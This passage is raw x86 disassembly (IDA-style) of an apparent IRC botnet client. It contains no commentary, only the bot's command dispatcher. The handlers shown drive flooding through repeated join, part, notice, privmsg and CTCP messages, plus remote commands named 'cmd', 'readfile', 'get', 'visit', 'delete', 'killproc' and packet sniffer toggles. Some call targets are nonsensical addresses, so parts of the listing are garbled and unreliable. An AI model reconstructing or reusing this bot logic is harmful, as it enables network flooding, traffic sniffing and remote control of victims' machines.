		test	eax, eax
		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B504
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B4E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		nop
		call	near ptr 26907AFh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B464
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B450
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B44C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		nop
		call	near ptr 26907AFh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B424
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h

loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D400C

loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB00C

loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA72C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B34C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------

loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B24C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]

loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B21C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405C30

loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------

loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		call	near ptr 2680835h
		nop
		push	eax
		push	offset dword_42B1E0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B178
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B150
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]

loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
